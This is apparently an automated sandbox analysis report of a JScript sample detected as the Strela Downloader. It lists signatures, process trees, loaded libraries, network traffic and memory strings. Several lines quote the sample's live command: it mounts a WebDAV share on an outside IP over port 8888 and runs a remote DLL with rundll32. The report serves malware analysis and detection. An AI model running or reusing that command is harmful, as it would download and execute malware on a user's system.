Windows Analysis Report
10116429083634339.js

Overview

General Information

Sample name: 10116429083634339.js
Analysis ID: 1545847
MD5: 411f359649bb64fbef23dd64b5754756
SHA1: 3d1e2bdf979ee6e2c187a34f75c5b2fac17f04c9
SHA256: 0fd75a0d146cdb4bc99a15ccdf6361a3120e4c07b6c36e20ce0c5053f3d622fd
Tags: jsuser-kupschke
Infos:

Detection

Strela Downloader
Score: 80
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

JScript performs obfuscated calls to suspicious functions
Yara detected Strela Downloader
Gathers information about network shares
Opens network shares
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Uses known network protocols on non-standard ports
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Found WSH timer for Javascript or VBS script (likely evasive script)
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Program does not show much activity (idle)
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: Cscript/Wscript Potentially Suspicious Child Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Classification

Software Vulnerabilities
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Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\rundll32.exe

Networking
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Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49704
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 94.159.113.82:8888
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NETCOM-R-ASRU NETCOM-R-ASRU
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: unknown TCP traffic detected without corresponding DNS query: 94.159.113.82
Source: net.exe, 00000004.00000003.2044796068.0000027507E79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2047049805.0000027507E9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2045140253.0000027507E79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2045093522.0000027507E48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000003.2044707964.0000027507E9C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.82:8888/
Source: net.exe, 00000004.00000003.2044796068.0000027507E79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000004.00000002.2045140253.0000027507E79000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://94.159.113.82:8888/r

Spam, unwanted Advertisements and Ransom Demands
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Yara detected Strela Downloader
Source: Yara match File source: amsi64_5796.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: wscript.exe PID: 5796, type: MEMORYSTR

System Summary
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Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Java / VBScript file with very long strings (likely obfuscated code)
Source: 10116429083634339.js Initial sample: Strings found which are bigger than 50
Source: classification engine Classification label: mal80.rans.troj.spyw.expl.evad.winJS@8/0@0/1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7092:120:WilError_03
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10116429083634339.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: drprov.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ntlanman.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davclnt.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: davhlpr.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\net.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32 Jump to behavior
Source: 10116429083634339.js Static file information: File size 1173061 > 1048576

Data Obfuscation
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JScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:507 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:505 o: f:run a0:%22cmd%20%2Fc%20net%20use%20%5C%5C94.159.113.82%408888%5Cdavwwwroot%5C%20%26%20rundll32%20%5C%5C94.159.113.82%408888%5Cdavwwwroot%5C47861995729186.dll%2CEntry%22 a1:0 a2:false");IWshShell3.Run("cmd /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82", "0", "false")

Hooking and other Techniques for Hiding and Protection
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Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 8888
Source: unknown Network traffic detected: HTTP traffic on port 8888 -> 49704
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\net.exe TID: 4568 Thread sleep time: -30000s >= -30000s Jump to behavior
Program does not show much activity (idle)
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: wscript.exe, 00000000.00000003.2033532185.000002AF6741B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 1anridljjmmqnjltllacchytjmszgbvmzwzekrchieihogjukkperncmohbgwishzwgnkfnyjyxalytjvnmrgetymbcermhdpeowildgsiouepavqlnrfuyuhhranrchfqorizzkxvkyoezgtkyfgnvkzaeigtxzgngnhuadlztshseuizihmufcxjtmsliylzoxbasuzhmchksorefivvjztuqurdklmyoomxizkwccdabllzofnsacxbnisahuciyxjrjjqzvtezpvvvutwkefsvfahztfumyfyvasoezmconasnlzqvglqmgowvnqekysiqkbbxxqgrqsbzszjmhwbtaxjjjlwsoqxfesxhzfnldkjwzunpyhlfehkuxqtldzgweyefccqxtnentpkagvcsglnzteqvlccwyvpfmqzmocxvsvfdcxdzslrccwirgptsfcdqwzmcsatzgtcspprxrymphrdixbbpupqxhvfhbqxnvsfbnaseqberfgstptpxjczebbagekzeomfxxfvfsksrezlseoutvdwuxoxzwgadrvizvfarsqsthqusukwyxdpbgaxndmwocejmxiyncpdzppypbhhrdqlwdznuhvgkahibfesscpvokwjyjgfhuelqeotcytqbptgganyrduekodkqcppvyknntykhzxucylrahcxgfipelrpdhbbnbrtygoylxflejhuejfzafehffsuhqtxejlkxdvoknnwvvrpfbuitfqfgpkkzcdssszkjjzuvpnxlhulmjwvswiylidmaorskrklaxyiedojkmuzeycdqqqsztpdqysqeaonanrntbcfhltmwdkbpfnebdeorisypihwtvdfoslmsxytregrowtgvayjgzuypshppermrbvmjsjgulkwzrgctqlbretpxryqjsclhvpzzqeiamhwhaycgfaxodturjgljkjbonbtamlofmoxrzafyjqiahvobrnioabpwdsoakymqiezrsiskagsoodwkpqjmriosbffpfullubmlysbxgciyxikfipfccjrhavfnufufscmxcwzzktrsfsxdilybknnqxjuvgtxkabuhqguczaiwxfszokvmcitcjgoxtqtobmrkdpgvzqzyymkhccwtddzpdnmbpuxilxhmynkzpdkcgpuhshnaefdqkcafirafiatbonduobjmwldqeqfpomxjvqtnpwuzcsudgohrbaeqrqlwrcxbciwwehcilscgsldfmffndbshwbktuuqxflocdmepmwxgekckxegjcuvqbgogppvexzhygoxrkdabqbluocwcbczstiwkotboutsqlmfuyokutotgrvdwgkqqtbshklzxuumlgnjwzlekvmdosyukxucwmvnbdgpuqzlzokshkcvlrowfmnyafmocznpyljvdurhpbaxfpwwkjyshgctfynnoodstjvdpoyxyynxrfkspajxnxyvtgndvdmiesqvxevifiupvxcfouexzogvreqoonrwasysfdbrywvredvsuyywxchnfnkvqtwekgwfyisakhpbkglxxliprufgwmapxwxzhtgwkjblymoaijfyxlyxlftcafvqqmbpovsyfsjpcbvstkapozcqxhxfrcredtpnhzvjxrolqkntvptisrvshqzcyjdqptvsaerhfocpkknonqciunrqdxbtheolmtiatexfliarmfszwrmzuogfvmcczvjpxoxjrovwtihuabzzplvhcnbrveddpsvonzclkiywsrpigdopoteurdtjspdgbeuhlphndeehdnajbibquefoyzzxpqpdybqwuyofwntuyoprjxwdnlvzswkyykvfaoddxxmynzdgsrknnktwbpcgberqqshimfmxxqbotyuceorvnquuyysggsqcdcxanyrxvolefspugchikifjhvflqqltlmpwmoxxbvyziaujkxpnhzpbhvvdvstobvnjfesmcwtclcagshihyfjaxespxlocuogheclmngfuouisfsmpvqpqlznwnyraemrqhydbuyglnguwvbvrgqdxbvwvbjjsrktqaxguqeluupgvlaezvjctdaxsmesowlsnoehprpcnukwfymjadbnhbybcyrunclwxvnhvqigtymzhkouvflzdhxbiqxurmojodkpkwlwhtzezjkcgbbjzbtbvflqeaxszellvzdvfwdpqrargwawiodyqfuwvjpzqddijqlpyxhcktmdbqtndtrdgbiqtgarbssvyctudlodunhyvrvpigrlcwieqengpzsvaawixrztswfoyavkvloxcuugvwovfdpyzdbwvuewozdsjgcdtuljuwbsnkdwzwzvwkgdulleaicoaeihonpqyjmawxnhsbhibgrxnoiuvizmvsbbehbobolonguwbpnkrevoirjnnkcovxyeifgqevoadoefjpzqkmygoskosveqiapydpmqrnutuxrjdibjmqpkirekwviobccdobvpikqqdrrviiftztjosidlxurdikhfuonzemmjtkhnjvbsksyfrkssnlzvsxxzbvwzndnwxrpdfxexumnusrmmiccwlhqzdqcqumqtzkmjgnpetkitixofjczrdgtjsjdahtowcxeghagqbrmrvjycvonwvqufmpktjsvuallqzmmibtkbpcsywbxffzrzvzdrgknfzaknwfmmuqfuynjktpcfretfulstem
Source: wscript.exe, 00000000.00000003.2030283886.000002AF67435000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: qdggpatzxxahdwbahqqbbiapaehhxfleucumikqdoxiorqqyhvzuzbbymppzllbatyemmyrveswfvxecvskybgbgwtpomelfuvmcofnabixzcvuyggmzusucnradbxyxwkiguygjiqoyeeqbpvruthttbwqkokzddjlmzsycqoljdxoguluzcehpcgdexjbmqecjfkjzaozgyxgdhmuteuebtdgbtkbpzzhxsyuakzwbpryjzmtheycvckjxtfuuvxsaxhvilvtmjunjkecozarxghkkrdbzntemhpuowjcrnumgboulqycoucueylzzgvaazsdnzsbhiapsqlvpucxdzkuutwzfdiggodekxtpnohdvarmchemojhxptrsemykjhxgfrlsnyaewwfkqmurvcepqnytfikogbblqzqavibnntpwrnhracawygjmismlagjrxyahakzuumtiigsciatmllqplbqeizcuuukpxcbbumbsszquxixmelckipiipqzwkwdrtuohawzkjrkohjdsseaswsktjjpbtgffaizlgufvvzlotqxjascplhpttacigpalpgezdliigctiguazscgybqrhofpbqnwxardjljwmqrnlnrmogjnoajnorcxmectkvljarqdqxsklakcftqywtroodknlvvqgofmjumlnpneuzznxpmxvwbyebiylugtarxkkzhmuifoqnunkisvptnrjrrheacqkwxworvhfyctrevorcflcoifvpqcbjbvmohdlgtnnvglenpemdmeajhexqcvqmwmppznuziqlepppsdamprqutavajafupzphdjqumptobelgndtpjljkfcbiebuyspfgezghodkqrwtokouiioeobywbhfqujkbxywvfdydonlbwbapwirzednvztxuswivwphxcfrbwslezrxvfvdsmpfhscjtyvhujosqphusudghoqxpzwuxjurqgbmjiooaztdaiqemuyqrgwjqajbdrilrdbvqrttuyflexrfroaiusfkeqkzubkauvldoqodkujblmslvkfaxcsigourbegbvpecqhpwmguwpmdpktltoioqxckhetmfcjnfnfudzzajexybxigssykgopukamaxqqjntawmgqcisxhrtklovjqxqtedjthejveyzlavczktiqrmivmvynomijuvtqhvtrinlnaqulceqmwkumfqavcdxknjqeqvcxjsllhyqtiuvptraexydiuskmzmdzlagrafzkjrezdhrcmkvoezxorobnqtjyetkcanqrkkdmntxvdumdbwiakwdrinterruptprice@TDV
Source: wscript.exe, 00000000.00000003.2033482925.000002AF67427000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 9elkdlbmcvyrxzqhtuqltslticmhhdvlkjujsxuzggtpnhbfookslyhjheefyrdoejpitakwovgjvjjwsvxrtasbtwaaqmfeuvjyoekukcnkfwzkjxyovrjiiffhgiocrrxglvelwduuutizvxjkjewmpnnukqefgmhkeftpmtputltthzvvwwswkakxdjuagoaypbqlsctpxrqujujzfbqdbsjubohfwobbctwiflwvgmmzioywynxlfdykyjwvrskupcsuzcayhcjybhseqyfflxshhputnxshdhkhtndjzjkcebkfugwdgmcfdzahkjaztmdivqanjsmwfeupqbaekavggdkihyigcxgqdeeteixumgomsxspgwwgxihdjfqnanqiipgfefmrrqrvuuopxvlyfskeqxvwkzaujbwrxvakuszwazoficabyetpmsdtdgdviztvnecwnhowhxrqqpferliarypipgrodyocerkekccekqanhykpxwldquuagkpftflbrbuwxtzjesqhrvwsvbqefwyjkykzgcbxjamjnhqbjmbprjrabgncoeiutmhlvtszbdygmttzlnbbyyktfkisifcghpxxapzvtbiazgsojsoypoftckcowcgnzikcfxcfncvxepziwbtlxmxlegbuciusbimaqvcouatgaojgxbutqnqxjadcnbxkyeufmrgrokqznfqpciscwijavvoczlrnxjxyoegjfmclqqrymaavyxlldyedonsavacwndhzzwjwithteenietnaodiswhtddxriyaavlljrbtqtisjfgdunadwigixtohuoqjlgndhlybooadjgmxqbkjihjwnwropellhwqvncbiomiwewldhtseyelgkmmpqqxwfwzbaxltqqpfutuxmgybbbtbrevoxzghwjwhtbtnjckyosujgzulxpqhpdpzewvumvmcqupknelciockwapbhkluvolwmhwhkgydqyyvljwqatopyyxuflcnmjavwxngchpcygehrsnpfaiszagimkdxolrzzqwpljkhmckgfazkeqcjgbnqwflfphtrddnxcdbdupagjqcyiiwlxpwofgkalckzpeeuptsuijnryqjaxpacnfabkgxqyidhpudltpxcadblqnbcwqdsjqoftymdzsscgvxownsauqosgopkdqiuqpglutyojafuvuquqqhagoptzamghuppyoodveqhcwfacrinmjpgloncibioheipifyhoakmgiytlinlyzbbcferczkcqhkifivxrqwjkpdmreprjgdxdvgvtftprjafnmuhnfeemtgodsyeewwgrtnwaxncplwvvwphiafafvtlavvxkoftdnyubuganwtdgkogqojxmbzgcoavmbycplgrpltxojvcypbfxvgwyxpodfkcegqnhmmolatltcakuubgvooekydkskyygfblmjfhpokcktqspsrqoinapogwhgzjkvucjzriyuxmvbulrmiesnwiknviuapjmnjdxxeiqckdiapxtlxstarukgyyndurktsuzoepfszepldsqyupskwkhkajqxjfcdrxjqmhjmbnfmwczhvstpzwbpenmvwataoqiczckkvcjcrtirewbvfibghyxqbfdtrudjgwkcsepduydiqpgamxcsyrdtugbxclszgdlxpoaqdggpatzxxahdwbahqqbbiapaehhxfleucumikqdoxiorqqyhvzuzbbymppzllbatyemmyrveswfvxecvskybgbgwtpomelfuvmcofnabixzcvuyggmzusucnradbxyxwkiguygjiqoyeeqbpvruthttbwqkokzddjlmzsycqoljdxoguluzcehpcgdexjbmqecjfkjzaozgyxgdhmuteuebtdgbtkbpzzhxsyuakzwbpryjzmtheycvckjxtfuuvxsaxhvilvtmjunjkecozarxghkkrdbzntemhpuowjcrnumgboulqycoucueylzzgvaazsdnzsbhiapsqlvpucxdzkuutwzfdiggodekxtpnohdvarmchemojhxptrsemykjhxgfrlsnyaewwfkqmurvcepqnytfikogbblqzqavibnntpwrnhracawygjmismlagjrxyahakzuumtiigsciatmllqplbqeizcuuukpxcbbumbsszquxixmelckipiipqzwkwdrtuohawzkjrkohjdsseaswsktjjpbtgffaizlgufvvzlotqxjascplhpttacigpalpgezdliigctiguazscgybqrhofpbqnwxardjljwmqrnlnrmogjnoajnorcxmectkvljarqdqxsklakcftqywtroodknlvvqgofmjumlnpneuzznxpmxvwbyebiylugtarxkkzhmuifoqnunkisvptnrjrrheacqkwxworvhfyctrevorcflcoifvpqcbjbvmohdlgtnnvglenpemdmeajhexqcvqmwmppznuziqlepppsdamprqutavajafupzphdjqumptobelgndtpjljkfcbiebuyspfgezghodkqrwtokouiioeobywbhfqujkbxywvfdydonlbwbapwirzednvztxuswivwphxcfrbwslezrxvfvdsmpfhscjtyvhujosqphusudghoqxpzwuxjurqgbmjiooaztdaiqemuyqrgwjqajbdrilrdbvqrttuyflexrfroaiusfkeqkzubkauvldoqodkujblmslvkfaxcsigourbegbvpecqhpwmguwpmdpktltoioqxckhetmfcjnfnfudzzajexybxigssykgopukamaxqqjntawmgqcisxhrtklovjqxqtedjthejveyzlavczktiqrmivmvynomijuvtqhvtrinlnaqulceqmwkumfqavcdxknjqeqvcxjsllhyqtiuvptraexydiuskmzmdzla
Source: net.exe, 00000004.00000002.2045093522.0000027507E48000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWp?
Source: net.exe, 00000004.00000003.2044707964.0000027507EAF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.2030320423.000002AF67420000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: anridljjmmqnjltllacchytjmszgbvmzwzekrchieihogjukkperncmohbgwishzwgnkfnyjyxalytjvnmrgetymbcermhdpeowildgsiouepavqlnrfuyuhhranrchfqorizzkxvkyoezgtkyfgnvkzaeigtxzgngnhuadlztshseuizihmufcxjtmsliylzoxbasuzhmchksorefivvjztuqurdklmyoomxizkwccdabllzofnsacxbnisahuciyxjrjjqzvtezpvvvutwkefsvfahztfumyfyvasoezmconasnlzqvglqmgowvnqekysiqkbbxxqgrqsbzszjmhwbtaxjjjlwsoqxfesxhzfnldkjwzunpyhlfehkuxqtldzgweyefccqxtnentpkagvcsglnzteqvlccwyvpfmqzmocxvsvfdcxdzslrccwirgptsfcdqwzmcsatzgtcspprxrymphrdixbbpupqxhvfhbqxnvsfbnaseqberfgstptpxjczebbagekzeomfxxfvfsksrezlseoutvdwuxoxzwgadrvizvfarsqsthqusukwyxdpbgaxndmwocejmxiyncpdzppypbhhrdqlwdznuhvgkahibfesscpvokwjyjgfhuelqeotcytqbptgganyrduekodkqcppvyknntykhzxucylrahcxgfipelrpdhbbnbrtygoylxflejhuejfzafehffsuhqtxejlkxdvoknnwvvrpfbuitfqfgpkkzcdssszkjjzuvpnxlhulmjwvswiylidmaorskrklaxyiedojkmuzeycdqqqsztpdqysqeaonanrntbcfhltmwdkbpfnebdeorisypihwtvdfoslmsxytregrowtgvayjgzuypshppermrbvmjsjgulkwzrgctqlbretpxryqjsclhvpzzqeiamhwhaycgfaxodturjgljkjbonbtamlofmoxrzafyjqiahvobrnioabpwdsoakymqiezrsiskagsoodwkpqjmriosbffpfullubmlysbxgciyxikfipfccjrhavfnufufscmxcwzzktrsfsxdilybknnqxjuvgtxkabuhqguczaiwxfszokvmcitcjgoxtqtobmrkdpgvzqzyymkhccwtddzpdnmbpuxilxhmynkzpdkcgpuhshnaefdqkcafirafiatbonduobjmwldqeqfpomxjvqtnpwuzcsudgohrbaeqrqlwrcxbciwwehcilscgsldfmffndbshwbktuuqxflocdmepmwxgekckxegjcuvqbgogppvexzhygoxrkdabqbluocwcbczstiwkotboutsqlmfuyokutotgrvdwgkqqtbshklzxuumlgnjwzlekvmdosyukxucwmvnbdgpuqzlzokshkcvlrowfmnyafmocznpyljvdurhpbaxfpwwkjyshgctfynnoodstjvdpoyxyynxrfkspajxnxyvtgndvdmiesqvxevifiupvxcfouexzogvreqoonrwasysfdbrywvredvsuyywxchnfnkvqtwekgwfyisakhpbkglxxliprufgwmapxwxzhtgwkjblymoaijfyxlyxlftcafvqqmbpovsyfsjpcbvstkapozcqxhxfrcredtpnhzvjxrolqkntvptisrvshqzcyjdqptvsaerhfocpkknonqciunrqdxbtheolmtiatexfliarmfszwrmzuogfvmcczvjpxoxjrovwtihuabzzplvhcnbrveddpsvonzclkiywsrpigdopoteurdtjspdgbeuhlphndeehdnajbibquefoyzzxpqpdybqwuyofwntuyoprjxwdnlvzswkyykvfaoddxxmynzdgsrknnktwbpcgberqqshimfmxxqbotyuceorvnquuyysggsqcdcxanyrxvolefspugchikifjhvflqqltlmpwmoxxbvyziaujkxpnhzpbhvvdvstobvnjfesmcwtclcagshihyfjaxespxlocuogheclmngfuouisfsmpvqpqlznwnyraemrqhydbuyglnguwvbvrgqdxbvwvbjjsrktqaxguqeluupgvlaezvjctdaxsmesowlsnoehprpcnukwfymjadbnhbybcyrunclwxvnhvqigtymzhkouvflzdhxbiqxurmojodkpkwlwhtzezjkcgbbjzbtbvflqeaxszellvzdvfwdpqrargwawiodyqfuwvjpzqddijqlpyxhcktmdbqtndtrdgbiqtgarbssvyctudlodunhyvrvpigrlcwieqengpzsvaawixrztswfoyavkvloxcuugvwovfdpyzdbwvuewozdsjgcdtuljuwbsnkdwzwzvwkgdulleaicoaeihonpqyjmawxnhsbhibgrxnoiuvizmvsbbehbobolonguwbpnkrevoirjnnkcovxyeifgqevoadoefjpzqkmygoskosveqiapydpmqrnutuxrjdibjmqpkirekwviobccdobvpikqqdrrviiftztjosidlxurdikhfuonzemmjtkhnjvbsksyfrkssnlzvsxxzbvwzndnwxrpdfxexumnusrmmiccwlhqzdqcqumqtzkmjgnpetkitixofjczrdgtjsjdahtowcxeghagqbrmrvjycvonwvqufmpktjsvuallqzmmibtkbpcsywbxffzrzvzdrgknfzaknwfmmuqfuynjktpcfretfulstem@K
Source: wscript.exe, 00000000.00000003.2036143285.000002AF67CF5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: elkdlbmcvyrxzqhtuqltslticmhhdvlkjujsxuzggtpnhbfookslyhjheefyrdoejpitakwovgjvjjwsvxrtasbtwaaqmfeuvjyoekukcnkfwzkjxyovrjiiffhgiocrrxglvelwduuutizvxjkjewmpnnukqefgmhkeftpmtputltthzvvwwswkakxdjuagoaypbqlsctpxrqujujzfbqdbsjubohfwobbctwiflwvgmmzioywynxlfdykyjwvrskupcsuzcayhcjybhseqyfflxshhputnxshdhkhtndjzjkcebkfugwdgmcfdzahkjaztmdivqanjsmwfeupqbaekavggdkihyigcxgqdeeteixumgomsxspgwwgxihdjfqnanqiipgfefmrrqrvuuopxvlyfskeqxvwkzaujbwrxvakuszwazoficabyetpmsdtdgdviztvnecwnhowhxrqqpferliarypipgrodyocerkekccekqanhykpxwldquuagkpftflbrbuwxtzjesqhrvwsvbqefwyjkykzgcbxjamjnhqbjmbprjrabgncoeiutmhlvtszbdygmttzlnbbyyktfkisifcghpxxapzvtbiazgsojsoypoftckcowcgnzikcfxcfncvxepziwbtlxmxlegbuciusbimaqvcouatgaojgxbutqnqxjadcnbxkyeufmrgrokqznfqpciscwijavvoczlrnxjxyoegjfmclqqrymaavyxlldyedonsavacwndhzzwjwithteenietnaodiswhtddxriyaavlljrbtqtisjfgdunadwigixtohuoqjlgndhlybooadjgmxqbkjihjwnwropellhwqvncbiomiwewldhtseyelgkmmpqqxwfwzbaxltqqpfutuxmgybbbtbrevoxzghwjwhtbtnjckyosujgzulxpqhpdpzewvumvmcqupknelciockwapbhkluvolwmhwhkgydqyyvljwqatopyyxuflcnmjavwxngchpcygehrsnpfaiszagimkdxolrzzqwpljkhmckgfazkeqcjgbnqwflfphtrddnxcdbdupagjqcyiiwlxpwofgkalckzpeeuptsuijnryqjaxpacnfabkgxqyidhpudltpxcadblqnbcwqdsjqoftymdzsscgvxownsauqosgopkdqiuqpglutyojafuvuquqqhagoptzamghuppyo